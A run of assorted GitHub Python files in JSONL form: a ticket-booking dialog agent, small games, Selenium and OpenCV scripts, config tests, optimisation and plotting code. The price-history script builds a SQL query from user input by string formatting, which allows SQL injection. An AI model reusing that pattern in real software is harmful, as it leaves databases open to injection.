self._request_user_pref()\n elif any(k in {\"cc_number\", \"cc_zip\", \"cc_exp\"} for k in set(user_action.params.keys())):\n return self._purchase_tickets(user_action)\n else:\n self.goal.update_goal(user_action.params)\n return self._request_user_pref(user_action)\n\n def _request_user_pref(self, user_action: 'DialogAction'):\n # Find first unfilled slot and ask user about it\n for k, v in self.goal.request_slots.items():\n if v == \"UNK\":\n action = DialogAction(dialog_act=\"request\", params={k: None})\n action.update_utterance(self.get_utterance(action))\n return action\n return self._reserve_tickets(user_action)\n\n def _purchase_tickets(self, user_action: 'DialogAction'=None):\n if user_action is None:\n action = DialogAction(dialog_act=\"request\",\n params={\"cc_number\": None, \"cc_zip\": None, \"cc_exp\": None})\n action.update_utterance(\"Ready to purchase your tickets. Please provide your credit card, zip and expiration date. Respond with numbers in order and seperated by ';'. Eg. 444344444444;02133;02/2020 \")\n return action\n else:\n action = DialogAction(dialog_act=\"inform\", params=self.params)\n action.update_utterance(self.get_utterance(action))\n return action\n\n def _reserve_tickets(self, user_action: 'DialogAction'=None):\n self.params = deepcopy(self.goal.request_slots)\n if self.params.get(\"no_tickets\") is None:\n action = DialogAction(\"inform\", params={\"error\": None})\n action.update_utterance(self.get_utterance(action))\n return action\n elif user_action is None:\n action = DialogAction(\"confirm\", params=self.params)\n action.update_utterance(self.get_utterance(action))\n return action\n elif user_action.dialog_act == \"affirm\":\n return self._purchase_tickets(None)\n else:\n return self._purchase_tickets(None)\n\n def __str__(self):\n return \"Movie Ticket Booker v1.0\"\n","repo_name":"dhairyadalal/socrates","sub_path":"src/sample_domains/movies/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"20437446168","text":"import pygame as pg\nimport sys\n\n\nclass Bird(object):\n def __init__(self):\n self.birdRect = pg.Rect(65, 50, 50, 50) # pygame.Rect(left, top, width, height)\n self.birdStatus = [pg.image.load(\"ali.png\"),\n pg.image.load(\"ali.png\"),\n pg.image.load(\"ali.png\")]\n self.status = 0\n self.birdX = 120\n self.birdY = 350\n self.jump = False\n self.jumpSpeed = 10\n self.gravity = 0\n self.dead = False\n\n def birdUpdate(self):\n if self.jump:\n self.jumpSpeed -= 1\n self.birdY -= self.jumpSpeed\n else:\n self.gravity = 0.01\n self.birdY += self.gravity\n self.birdRect[1] = self.birdY\n\n\nclass Pipeline(object):\n def __init__(self):\n self.wallx = 400\n self.pineUp = pg.image.load(\"ali.png\")\n self.pineDown = pg.image.load(\"ali.png\")\n\n def updatePipeline(self):\n self.wallx -= 5\n if self.wallx < - 80:\n global score\n score += 1\n self.wallx = 400\n\n\ndef createMap():\n screen.fill((255, 255, 255))\n background = pg.image.load(\"1.jpg\")\n screen.blit(background, (0, 0))\n\n screen.blit(Pipeline.pineUp, (Pipeline.wallx, -300))\n screen.blit(Pipeline.pineDown, (Pipeline.wallx, 500))\n\n if Bird.dead:\n Bird.status = 2\n elif Bird.jump:\n Bird.status = 1\n screen.blit((Bird.birdStatus[Bird.status]), (Bird.birdX, Bird.birdY))\n\n\nif __name__ == '__main__':\n pg.init()\n pg.font.init()\n font = pg.font.SysFont(\"Arial\", 50)\n size = width, height = 400, 650\n screen = pg.display.set_mode(size)\n clock = pg.time.Clock()\n Pipeline = Pipeline()\n Bird =Bird()\n score = 0\n while True:\n clock.tick(60)\n for event in pg.event.get():\n if event.type == pg.QUIT:\n sys.exit()\n if (event.type == pg.KEYDOWN or event.type == pg.MOUSEBUTTONDOWN) and not Bird.dead:\n Bird.jump = True\n Bird.gravity = 5\n Bird.jumpSpeed =15\n\n createMap()\n\n pg.quit()\n\n","repo_name":"LDX596999414/my_pygame","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30430949502","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.select import Select\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n\nchromedriver_path = \"/Users/annagrishkova/Documents/chromedriver_mac64/chromedriver\"\nservice = Service(executable_path=chromedriver_path)\n\noptions = webdriver.ChromeOptions()\noptions.headless = False # отключаем headless режим, чтобы увидеть открытую страницу\ndriver = webdriver.Chrome(service=service, options=options)\n\n# открываем страницу\ndriver.get(\"https://www.random.org/coins/\")\ntime.sleep(6)\n\n# выбираем количество монет для броска\nselect_flip = Select(driver.find_element(By.CSS_SELECTOR,'select[name=\"num\"]'))\nselect_flip.select_by_value('1')\n\n# ждем появления кнопки\ntry:\n roll_button = WebDriverWait(driver, 20).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"input[value='Flip Coin(s)']\"))\n )\nexcept:\n print(\"Ошибка: кнопка не найдена на странице\")\n driver.quit()\n exit()\n\n# нажимаем на кнопку\nroll_button.click()\ntime.sleep(20)\ndriver.quit()\n","repo_name":"AnnaGrishkova/Python-self-education","sub_path":"Task_9/Task_9.py","file_name":"Task_9.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18759803460","text":"\"\"\"\nGuess the number game\nComputer will choose a random number between 1 to 100 and user has to guess what number is it\n\"\"\"\nimport random\n\n\"\"\"Global variables\"\"\"\ndivisors = [5, 3, 2]\nlength = len(divisors)\nvar = random.randint(1, 10)\n\n\"\"\"Class that runs the program\"\"\"\n\n\nclass Guess:\n def checkWin(self, go=True):\n count = 0\n\n \"\"\"While 'true'\"\"\"\n\n while go:\n guess = int(input(\"Guess the number between 1 and 10: \"))\n while guess not in range(1, 11, 1):\n guess = int(input(\"Please enter valid input: \"))\n print()\n\n \"\"\"if you guessed right or not!!\"\"\"\n\n if guess == var:\n go = False\n\n else:\n if (len(divisors) > 0):\n choice = input(\"Do you want a hint? (Y/N): \").lower()\n\n \"\"\"Do you want hint?\"\"\"\n while choice not in [\"y\", \"n\"]:\n choice = input(\"Enter Y or N: \")\n if choice == \"N\":\n continue\n else:\n \"\"\"Only 3 hints given\"\"\"\n\n if (len(divisors) > 0):\n print(\n f\"\\nThe modulus of the number is {var%divisors[0]} with {divisors[0]}\\n\")\n divisors.remove(divisors[0])\n count += 1\n else:\n go = False\n else:\n \"\"\"If no. of hints over! Game over!\"\"\"\n go = False\n\n \"\"\"Check if winner lost or won!\"\"\"\n if guess == var:\n print(\n f\"Yas! You intelligent one!!😎 \\nThe answer was in fact: {var}\")\n\n else:\n print(\n f\"Better luck next time buddy !🙄\\nThe right answer was: {var}\")\n\n \"\"\"The end\"\"\"\n print(\"*\" * 30)\n print(\"Thanks for playing!!\")\n print(\"*\" * 30)\n\n\nplay = Guess()\nplay.checkWin()\n","repo_name":"riyajha981219/guess-the-number","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40598404202","text":"import pkg_resources\nimport re\nimport logging\n\nfrom reahl.tofu import Fixture, set_up, temp_dir, expected\nfrom reahl.tofu.pytestsupport import with_fixtures\nfrom reahl.stubble import CallMonitor, EasterEgg, easter_egg\n\nfrom reahl.component.eggs import ReahlEgg\nfrom reahl.component.config import Configuration, StoredConfiguration, ConfigSetting, \\\n ConfigurationException, EntryPointClassList, DeferredDefault\n\n\nclass ConfigWithFiles(Fixture):\n def new_config_dir(self):\n return temp_dir()\n \n def new_config_bootstrap_file(self):\n contents = \"\"\"\nreahlsystem.root_egg = '%s'\nreahlsystem.connection_uri = None\nreahlsystem.debug = False\n\"\"\" % self.root_egg_name\n return self.new_config_file(filename='reahl.config.py', contents=contents)\n\n def new_root_egg_name(self):\n return easter_egg.as_requirement_string()\n\n def new_config_file_name(self):\n return 'some_file.py'\n \n def new_config_file(self, filename=None, contents=''):\n return self.config_dir.file_with(filename or self.config_file_name, contents)\n \n @set_up\n def set_up_easter_egg(self):\n self.config_bootstrap_file\n easter_egg.clear()\n easter_egg.stubbed_metadata['reahl-component.toml'] = 'metadata_version = \"1.0.0\"'\n ReahlEgg.clear_cache()\n\n def set_config_spec(self, egg, code_locator_string):\n egg.stubbed_metadata['reahl-component.toml'] = 'metadata_version = \"1.0.0\"\\nconfiguration = \"%s\"' % code_locator_string\n\n\n\nclass ConfigWithSetting(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n some_setting = ConfigSetting()\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_basics(config_with_files):\n \"\"\"Config is specified per component, via its ReahlEgg interface, and read from its own config file.\"\"\"\n\n fixture = config_with_files\n config_file = fixture.new_config_file(filename=ConfigWithSetting.filename, \n contents='some_key.some_setting = 3')\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n config.configure()\n\n # The setting was read\n assert config.some_key.some_setting == 3 \n\n\n@with_fixtures(ConfigWithFiles)\ndef test_missing_settings(config_with_files):\n \"\"\"An exception is raised if setting do not have values set.\"\"\"\n fixture = config_with_files\n \n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n\n with expected(ConfigurationException):\n config.configure()\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_incorrect_settings(config_with_files):\n \"\"\"An exception is raised when an attempt is made to set a setting that does not exist.\"\"\"\n\n fixture = config_with_files\n config_file = fixture.new_config_file(filename=ConfigWithSetting.filename, \n contents='some_key.some_wrong_name = 3')\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n\n with expected(ConfigurationException):\n config.configure()\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_incorrect_replacement_of_configuration(config_with_files):\n \"\"\"An exception is raised when an attempt is made to replace a Configuration with another of the wrong type.\"\"\"\n\n fixture = config_with_files\n config_file = fixture.new_config_file(filename=ConfigWithSetting.filename, \n contents='from reahl.component.config import Configuration; some_key = Configuration()')\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n\n with expected(ConfigurationException):\n config.configure()\n\n\nclass ConfigWithDefaultedSetting(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n some_setting = ConfigSetting(default='default value')\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_defaults(config_with_files):\n \"\"\"If a default is specified for the ConfigSetting, it need not be set in the file.\"\"\"\n\n fixture = config_with_files\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithDefaultedSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n config.configure()\n\n # The setting was read\n assert config.some_key.some_setting == 'default value' \n\n\nclass ConfigWithDangerousDefaultedSetting(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n some_setting = ConfigSetting(default='default value', dangerous=True)\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_defaults_dangerous(config_with_files):\n \"\"\"Defaults that are dangerous to leave at their at their settings can be marked as such. \n This will result in a logged warning.\"\"\"\n\n fixture = config_with_files\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithDangerousDefaultedSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n with CallMonitor(logging.getLogger('reahl.component.config').warning) as monitor:\n config.configure()\n\n # A warning was issued with warn severity to the log\n logged_message = monitor.calls[0].args[0]\n message_regex = '^some_key.some_setting has been defaulted to a value not suitable for production use: \"default value\". You can set it in /.*/config_file_for_this_egg.py'\n assert re.match(message_regex, logged_message)\n\n # The default value is still used\n assert config.some_key.some_setting == 'default value' \n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_strict_checking(config_with_files):\n \"\"\"When a Configuration is created with strict_checking=True, dangerous defaulted config is not allowed.\"\"\"\n\n fixture = config_with_files\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithDangerousDefaultedSetting')\n\n config = StoredConfiguration(fixture.config_dir.name, strict_checking=True)\n with expected(ConfigurationException):\n config.configure()\n\n\nclass ConfigWithEntryPointClassList(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n some_setting = EntryPointClassList('some.test.entrypoint', description='we test stuff')\n\n\nclass ListedClass1: pass\nclass ListedClass2: pass\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_entry_point_class_list(config_with_files):\n \"\"\"EntryPointClassList is a special ConfigSetting which reads its value from a pkg_resources\n entry point which contains a list of classes published by any (possibly other) egg.\"\"\"\n fixture = config_with_files\n \n # Because we cannot remove EasterEggs from pkg_resources, the next test must happen after\n # this one. The next check just ensures that we know when that does not happen:\n with expected(pkg_resources.DistributionNotFound):\n pkg_resources.require('test-inject') \n\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithEntryPointClassList')\n\n # Publish some classes on the entry point being tested\n line = 'ListedClass1 = reahl.component_dev.test_config:ListedClass1'\n easter_egg.add_entry_point_from_line('some.test.entrypoint', line)\n line = 'ListedClass2 = reahl.component_dev.test_config:ListedClass2'\n easter_egg.add_entry_point_from_line('some.test.entrypoint', line)\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n config.configure()\n\n # The classes are found from the entry point\n assert set(config.some_key.some_setting) == {ListedClass1, ListedClass2} \n\n\nclass ConfigWithInjectedSetting(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n injected_setting = ConfigSetting(automatic=True)\n\n\nclass ConfigWhichInjectsSetting(Configuration):\n filename = 'injector_egg.py'\n config_key = 'some_other_key'\n\n def do_injections(self, config):\n config.some_key.injected_setting = 123\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_defaults_automatic(config_with_files):\n \"\"\"To facilitate dependency injection, the Configuration of one Egg can set the 'automatic' ConfigSettings of\n another egg on which it depends.\"\"\"\n\n fixture = config_with_files\n \n egg_needing_injection = EasterEgg('test-inject')\n fixture.set_config_spec(egg_needing_injection, 'reahl.component_dev.test_config:ConfigWithInjectedSetting')\n pkg_resources.working_set.add(egg_needing_injection)\n\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWhichInjectsSetting')\n\n easter_egg.add_dependency(egg_needing_injection.as_requirement_string())\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n config.configure()\n\n # The default value is still used\n assert config.some_key.injected_setting == 123 \n\n\nclass ConfigWithDependentSetting(Configuration):\n filename = 'config_file_for_this_egg.py'\n config_key = 'some_key'\n some_setting = ConfigSetting(default='default value')\n some_other_setting = ConfigSetting(default=DeferredDefault(lambda c: 'tra %s lala' % c.some_setting))\n\n\n@with_fixtures(ConfigWithFiles)\ndef test_config_dependent_defaults(config_with_files):\n \"\"\"The default of one setting can be dependent on another setting if passed a callable\"\"\"\n \n fixture = config_with_files\n fixture.set_config_spec(easter_egg, 'reahl.component_dev.test_config:ConfigWithDependentSetting')\n\n # Usually this happens inside other infrastructure, such as the implementation of reahl serve (see reahl-dev)\n config = StoredConfiguration(fixture.config_dir.name)\n config.configure()\n\n # The setting was read\n assert config.some_key.some_setting == 'default value' \n assert config.some_key.some_other_setting == 'tra default value lala' \n\n \n","repo_name":"reahl/reahl","sub_path":"reahl-component/reahl/component_dev/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":10983,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"62"} +{"seq_id":"6632530188","text":"# Visualize best trained KL divergence between classical and quantum models. \n# KL-divergence is extracted from the corresponding training files.\n\nimport Hfile, bmachine, kevent, ssexyhelp\nimport argparse, collections\nimport matplotlib as mpl\nimport numpy as np\nimport pylab as pl\n\nfrom matplotlib import pyplot as plt\n\n# ----------------------------------------------------------------------\ndef HammingDistance1(v1, v2 = [1,0,1,1,0,1,1,1,0,1]):\n v1 = v1[1]\n d = 0\n ones1 = 0\n ones2 = 0\n sign = 0\n for c1, c2 in zip(v1, v2):\n if c1!=c2: \n d += 1\n if (sign==0) and (c1==1): sign = +1\n if (sign==0) and (c2==1): sign = -1\n\n return d*sign\n\n# ----------------------------------------------------------------------\n\n# ----------------------------------------------------------------------\ndef HammingDistance(v1, v2 = [1,0,1,1,0,1,1,1,0,1]):\n d = 0\n ones1 = 0\n ones2 = 0\n sign = 0\n for c1, c2 in zip(v1, v2):\n if c1!=c2: \n d += 1\n if (sign==0) and (c1==1): sign = +1\n if (sign==0) and (c2==1): sign = -1\n\n return d*sign\n\n# ----------------------------------------------------------------------\ndef main(): \n parser = argparse.ArgumentParser(description='')\n parser.add_argument('--quant','-Q', help='Quantum training file', nargs='+')\n parser.add_argument('--class','-C', help='Classical training file', nargs='+')\n\n args = vars(parser.parse_args())\n\n colors = [\"#66CAAE\", \"#CF6BDD\", \"#E27844\", \"#7ACF57\", \"#92A1D6\", \"#E17597\", \"#C1B546\"]\n fig = pl.figure(1, figsize=(10,5))\n pl.connect('key_press_event',kevent.press)\n ax = pl.subplot(111)\n\n \n # ----------------------------------------------------------------------\n if 'class' in args.keys():\n cdata = np.zeros((5, len(args['class'])//5))\n ssizes = []\n i = -1\n for filename in args['class']:\n data = Hfile.cleanData(np.loadtxt(filename))\n \n cKL = np.amin(data[:,1])\n fparams = ssexyhelp.getReduceParamMap(filename)\n (bsize, seed) = (int(fparams['ssise']), int(filename[:-4].split('_')[-1]))\n \n if not(bsize in ssizes): \n i += 1\n ssizes += [bsize]\n cdata[seed, i] = cKL \n \n cKLs = np.sum(cdata, axis = 0)\n ax.plot(ssizes, cKLs, color=colors[1], lw=1, ls='-', label=r'$classical$')\n\n # ----------------------------------------------------------------------\n if 'quant' in args.keys():\n qdata = np.zeros((5, len(args['quant'])//5))\n ssizes = []\n i = -1\n for filename in args['quant']:\n data = cleanData(np.loadtxt(filename))\n \n qKL = np.amin(data[:,1])\n fparams = ssexyhelp.getReduceParamMap(filename)\n (bsize, seed) = (int(fparams['ssise']), int(filename[:-4].split('_')[-1]))\n \n if not(bsize in ssizes): \n i += 1\n ssizes += [bsize]\n qdata[seed, i] = qKL \n\n qKLs = np.sum(qdata, axis = 0)\n ax.plot(ssizes, qKLs, color=colors[2], lw=1, ls='-', label=r'$quantum$')\n\n\n \n pl.xlabel(r'$Training \\, sample \\, size$')\n pl.ylabel(r'$KL-divergence$')\n lgd = pl.legend(loc = 'best')\n lgd.draggable(state=True)\n lgd.draw_frame(False)\n pl.tight_layout()\n pl.show()\n \n #diff = np.array(cLL) - np.array(qLL)\n #plt.hist(diff, 10, normed=1, alpha=0.75)\n #plt.show()\n \n# ------------------------------------------------------------ ----------\n# ------------------------------------------------------------ ----------\nif __name__ == \"__main__\": \n main()\n\n","repo_name":"BohdanKul/Scripts","sub_path":"training/KLcomps.py","file_name":"KLcomps.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73351148677","text":"def fatorial(n):\n fatorial = 1\n for i in range(1, n+1):\n fatorial = fatorial*i\n print(\"{}! é {}\".format(n, fatorial))\n\nn = int(input(\"Qual numero você gostaria de saber o fatorial? \"))\nif (n>=0):\n fatorial(n)\nelse:\n print(\"Digite um valor positivo\")","repo_name":"gabrielly-freire/pensamento-computacional","sub_path":"lista05/q02.py","file_name":"q02.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5761389825","text":"import pyglet\nimport numpy as np\nimport cv2 as cv\n\nfrom gui_elements.image_tweaker.marker import Marker\nfrom gui_elements.section_title import SectionTitle\nfrom gui_elements.state_title import StateTitle\nfrom interface.state import State\n\n\nclass ImagePerspectiveState(State):\n def __init__(self, name, machine):\n super().__init__(name, machine)\n self.filename = None\n self.sprite = None\n self.tweaked = None\n self.machine = machine\n\n self.add_drawable(StateTitle('Change Perspective', self))\n self.add_drawable(\n SectionTitle('Select Corners CCW', self,\n self.width / 4, self.height - 120)\n )\n self.add_drawable(\n SectionTitle('Preview', self,\n self.width / 4 * 3, self.height - 120)\n )\n\n self.targets = []\n\n def resume(self):\n self.filename = self.machine.seed_file\n print('[Log] Selected Seed File: ' + self.filename)\n self.load_seed_image()\n\n def update(self):\n if self.machine.clicked:\n self.add_marker(self.machine.mouseX, self.machine.mouseY)\n self.machine.clicked = False\n\n def load_seed_image(self):\n sprite_image = pyglet.image.load(self.filename)\n sprite_image.anchor_x = 0\n sprite_image.anchor_y = 0\n self.sprite = pyglet.sprite.Sprite(sprite_image)\n self.calculate_scale()\n self.sprite.x = self.width / 4 - self.sprite.width / 2\n self.sprite.y = self.height / 2 - self.sprite.height / 2 - 60\n\n self.add_drawable(self.sprite)\n\n def add_marker(self, x, y):\n sx = self.sprite.x\n sy = self.sprite.y\n sw = self.sprite.width\n sh = self.sprite.height\n\n if len(self.targets) >= 4:\n self.machine.activate_state('image-tweaker-state')\n return\n elif x < sx or x > sx + sw or y < sy or y > sy + sh:\n return\n\n self.screen_to_img_coordinates(x, y)\n self.add_drawable(Marker(x, y))\n\n def screen_to_img_coordinates(self, x, y):\n image_w = self.sprite.image.width\n\n ratio = image_w / self.sprite.width\n\n current_x = x - self.sprite.x\n current_y = y - self.sprite.y\n current_y = self.sprite.height - current_y\n\n current_x *= ratio\n current_y *= ratio\n\n self.targets.append([int(current_x), int(current_y)])\n if len(self.targets) == 4:\n self.apply_perspective()\n\n def apply_perspective(self):\n img = cv.imread(self.filename)\n points_1 = np.float32(self.targets)\n points_2 = np.float32([[0, 0], [0, 416], [320, 416], [320, 0]])\n\n M = cv.getPerspectiveTransform(points_1, points_2)\n dst = cv.warpPerspective(img, M, (320, 416))\n\n cv.imwrite('workdata/seedfile.png', dst)\n print('[Log] Created seed file')\n self.display_tweaked_file()\n\n def display_tweaked_file(self):\n sprite_image = pyglet.image.load('workdata/seedfile.png')\n sprite_image.anchor_x = 0\n sprite_image.anchor_y = 0\n self.tweaked = pyglet.sprite.Sprite(sprite_image)\n self.tweaked.x = self.width / 4 * 3 - self.tweaked.width / 2\n self.tweaked.y = self.height / 2 - self.tweaked.height / 2 - 60\n\n self.add_drawable(self.tweaked)\n\n def calculate_scale(self):\n max_w = self.width / 2 - 80\n max_h = self.height - 200\n\n scale_x = max_w / self.sprite.width\n scale_y = max_h / self.sprite.height\n\n self.sprite.scale = min(scale_x, scale_y)\n","repo_name":"mihiic/digits-generator-gan","sub_path":"interface/image_perspective_state.py","file_name":"image_perspective_state.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73748937476","text":"from PolynomialOptimisationBase import PolynomialOptimisationBase, PolynomialData\nimport numpy as np\nfrom more_itertools import sort_together\nfrom functools import reduce\nfrom operator import add, or_\nimport random\n\n# Polynomial Optimiser Steady State selective\nclass PolynomialOptimisationSteadyState(PolynomialOptimisationBase):\n def __init__(self, polynomial_data):\n super().__init__(polynomial_data)\n\n # Sorts the population by grade \n def sort_population_by_grade(self):\n fitenss_population = [ self.fitness(individual) for \n individual in self.population]\n fitenss_population, population = sort_together([fitenss_population,\n self.population])\n \n self.keep_if_best_result(fitenss_population[0], population[0])\n self.population = population\n \n # Returns new paretns\n def get_new_parents(self, retain, random_select):\n # Number of top fitness parents to select\n retain_index = int(self.d.p_size*retain)\n\n # Get top parents\n parents = self.population[ :retain_index ]\n\n # Get random parents bast on random_select rate\n random_parents = []\n for individual in self.population[retain_index:]:\n if random_select > random.random():\n random_parents.append(individual)\n\n # Return list\n return [*parents, *random_parents]\n\n # Retruns children based on parents provided\n def generate_children(self, parents, count):\n children = []\n parents_length = len(parents)\n\n while len(children) < count:\n # Select two random parents\n p1 = random.randint(0, parents_length-1)\n p2 = random.randint(0, parents_length-1)\n\n if p1 != p2: # merge if parents are different\n p1 = parents[p1]\n p2 = parents[p2]\n\n child = (np.array(p1) + np.array(p2)) / 2 \n children.append(child.tolist()) \n\n return children\n\n def evolve(self):\n self.sort_population_by_grade()\n\n parents = self.get_new_parents(self.d.retain, self.d.random_select)\n children = self.generate_children(parents, (self.d.p_size - len(parents)))\n\n self.population = self.mutate_population([*parents, *children],\n self.d.mutate, self.d.v_min, self.d.v_max)\n","repo_name":"k-wozniak/UniversityProjects","sub_path":"Simple-Genetic-Algorithms/PolynomialOptimisation/SteadyState.py","file_name":"SteadyState.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23344268172","text":"from DBcm import UseDatabase\nimport matplotlib.pyplot as plt\nfrom init import dbconfig\n\n\ndef SelectHistory(sku: str) -> 'rows':\n with UseDatabase(dbconfig) as cursor:\n _SQL = \"\"\"SELECT * FROM phistory WHERE symbol=%s ORDER BY Data\"\"\" % sku\n cursor.execute(_SQL)\n return cursor.fetchall()\n\nx = []\ny = []\n\nsku = input('Podaj sku produktu: ')\n\ndata = SelectHistory(sku)\n\nfor row in data:\n x.append(row[1])\n y.append(row[0])\n\nplt.plot(x, y)\nplt.show()","repo_name":"Mwdiff/Excelinsert","sub_path":"plot_history.py","file_name":"plot_history.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69809423558","text":"#f(x0, x1) = x0^2 + x1^2\r\n#x0에 대한 미분인가 x1에 대한 미분인가\r\n#변수가 여럿인 함수에 대한 미분을 편미분이라고 한다.\r\n#동시에 구현:\r\nimport numpy as np\r\n\r\ndef function_2(x):\r\n return x[0]**2 + x[1]**2\r\n\r\ndef numerical_gradiant(f,x):\r\n h = 1e-4\r\n grad = np.zeros_like(x) #x와 형상이 같고 그 원소가 모두 0인 배열을 생성\r\n\r\n for idx in range(x.size):\r\n tmp_val = x[idx]\r\n x[idx] = tmp_val + h\r\n fxh1 = f(x)\r\n x[idx] = tmp_val - h\r\n fxh2 = f(x)\r\n\r\n grad[idx] = (fxh1 - fxh2) / (2*h)\r\n x[idx] = tmp_val\r\n\r\n return grad\r\n\r\nprint(numerical_gradiant(function_2, np.array([3.0, 4.0])))\r\nprint(numerical_gradiant(function_2, np.array([0.0, 2.0])))\r\nprint(numerical_gradiant(function_2, np.array([3.0, 0.0])))\r\n\r\n#각 점의 기울기를 구할 수 있다.\r\n#이때의 기울기는 화살표를 가진 벡터로 그려진다. 기울기 화살표는 함수의 \"가장낮은장소(최솟값)\"을 가리키는 것 같다\r\n#화살표들은 한 점을 향하고 있는 모습니다.\r\n#가장 낮은곳에서 멀리 떨어져있는 곳일수록 화살표의 크기가 커진다.\r\n#정확하게 말하자면 각각의 지점에서 기울기가 낮아지는 방향을 가리킨다.\r\n#즉 기울기가 가리키는 쪽은 각 장소에서 함수의 출력 값을 가장 크게 줄이는 방향이다.(쯍요!!!)","repo_name":"jiho9702/DeepLearningStudy","sub_path":"편미분.py","file_name":"편미분.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"38984751377","text":"from datetime import datetime, timedelta\n\nimport pygsheets\n\nkey_json = 'gsheets_key.json'\n\n\ndef find_row_number(ad_link, worksheet):\n try:\n # Authenticate using service account credentials\n # gc = pygsheets.authorize(service_file=key_json)\n \n # Open the Google Sheet by name\n # sheet = gc.open('FERC telegram bot overview')\n # worksheet = sheet[0]\n \n cells_list_of_lists = worksheet.find(str(ad_link), matchEntireCell=True) # [[]]\n print(cells_list_of_lists)\n if cells_list_of_lists: # empty list object considered as false\n return cells_list_of_lists[0].row\n else:\n return None\n except Exception as x:\n print(x)\n\n\ndef insert_list_of_iphone_links(list_of_lists_of_item_rows, iphone_model):\n try:\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n\n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n try:\n worksheet = sheet.worksheet_by_title(iphone_model)\n except pygsheets.exceptions.WorksheetNotFound:\n sheet.add_worksheet(iphone_model)\n worksheet = sheet.worksheet_by_title(iphone_model)\n \n # for index, link in enumerate(list_of_lists_of_item_rows, 1):\n # row_number = index\n # cell_address = f\"A{row_number}\" # Column B, row specified by row_number\n # worksheet.update_value(cell_address, link)\n \n worksheet.clear()\n worksheet.insert_rows(row=2, values=list_of_lists_of_item_rows)\n \n except Exception as x:\n print(x)\n\n\ndef get_list_of_iphone_links(iphone_model):\n # Authenticate using service account credentials\n gc = pygsheets.authorize(service_file=key_json)\n # Convert the list of links into a single column\n \n # Open the Google Sheet by name\n sheet = gc.open('Loop browser bot — iphones db')\n # Select the first worksheet in the Google Sheet\n worksheet = sheet.worksheet_by_title(iphone_model)\n \n 